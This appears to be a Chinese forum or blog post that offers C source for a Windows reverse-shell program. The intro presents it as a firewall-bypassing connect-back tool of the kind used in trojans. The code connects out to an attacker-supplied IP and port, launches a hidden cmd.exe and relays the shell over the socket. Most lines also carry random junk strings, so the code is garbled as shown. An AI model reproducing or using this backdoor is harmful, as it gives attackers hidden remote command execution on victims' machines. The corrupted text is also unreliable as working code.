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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "Cs36k  
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/* ============================== /O~Np|~v  
Rebound port in Windows NT d{Owz&PL  
By wind,2006/7 gyuBmY  
===============================*/ LL==2KNUo  
#include %< `D' V@  
#include M~~)tJYsu  
'c# }^@G  
#pragma comment(lib,"wsock32.lib") |#'n VN.;  
qHvUBx0  
void OutputShell(); ~H1<8py\J  
SOCKET sClient; 5{ bc&?"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; XK})?LTD  
vrcIwCa  
void main(int argc,char **argv) V1~@   
{ >Fs/Wet  
WSADATA stWsaData; ]qxl^Himq  
int nRet; jFUpf.v2  
SOCKADDR_IN stSaiClient,stSaiServer; )]s<Czm%  
,~DV0#"  
if(argc != 3) niKfat?  
{ Rc &m4|cw7  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6|~^P!&  
return; -$DfnAh  
} Ri~$hs!  
ex6R=97uA  
WSAStartup(MAKEWORD(2,2),&stWsaData); Hf\sF(, (  
]!&$&t8.  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  *} ?  
_TGs .t  
stSaiClient.sin_family = AF_INET; kwL|gO1L  
stSaiClient.sin_port = htons(0); p4*L}Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ikw@B)0}  
Fx|`0 LI+C  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O9ps?{g  
{ ~> Q9  
printf("Bind Socket Failed!\n"); ;81,1 Ie<~  
return; E6Z kO/  
} Kk6=61}A  
X6r0+D5AvB  
stSaiServer.sin_family = AF_INET; %1.F;-GdsW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `Z8k#z'bN  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6-fv<Pn  
HE%/+mZN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -v.\W y~\  
{ oJ\g0|\qwe  
printf("Connect Error!"); ?-vWNv  
return; V`1{*PrI@L  
} >ItT269G  
OutputShell(); yV )fJ_  
} tP7<WGHd/  
DZtpY {=Z  
void OutputShell() YLGE{bS  
{ jr?/wtw  
char szBuff[1024]; tVEe)QX  
SECURITY_ATTRIBUTES stSecurityAttributes; <Q\KS  
OSVERSIONINFO stOsversionInfo; %DYh<U4N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gS5MoW1  
STARTUPINFO stStartupInfo; gTXpaB<  
char *szShell; 9<.O=-1~  
PROCESS_INFORMATION stProcessInformation; 45 sEhs[$  
unsigned long lBytesRead; {zvaZY|K"  
/*T^7Y&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); uR5+")r@S  
R ~kO5jpW  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); HS/.H,X  
stSecurityAttributes.lpSecurityDescriptor = 0; t{jY@J T|  
stSecurityAttributes.bInheritHandle = TRUE; $|-Lw!)D  
mi7?t/D1Z  
B_Q{B|eEt&  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kt2_WW[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XNWtX-[ ^@  
gGL}FNH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t.28IHJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; < -`.u`  
stStartupInfo.wShowWindow = SW_HIDE; oxlor,lw/  
stStartupInfo.hStdInput = hReadPipe; kk-<+R2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r6Yd"~ n  
J&>@ >47  
GetVersionEx(&stOsversionInfo); /=m AVA  
S@HC$  
switch(stOsversionInfo.dwPlatformId) at_*Zh(  
{ $:F+Nf 8  
case 1: Y0a[Lb0  
szShell = "command.com"; QPDh!A3T  
break; W/!P1M n  
default: KUUA>'=  
szShell = "cmd.exe"; d^aVP  
break; pY"WW0p"C  
} ~DInd-<5  
1n8[fgz  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `s CwgY+  
1P!)4W  
send(sClient,szMsg,77,0); 1l$Ei,9  
while(1) aZ4EcQ@-$]  
{ (4+P7Z,Nc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n^4R]9U  
if(lBytesRead) 5CFNBb%Xy  
{ oZvG Kf  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &W@2n&U.q  
send(sClient,szBuff,lBytesRead,0); 10FiA;  
} |:1{B1sqA  
else .xsfq*3e5  
{ 7y'uZAF  
lBytesRead=recv(sClient,szBuff,1024,0); ^?VQ$o2  
if(lBytesRead<=0) break; 7Bp7d/R-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H#SQ>vyAV  
} @(,1}3s  
} M/?,Qii  
c  C3>Ff'  
return; l*1|B3#m!  
}
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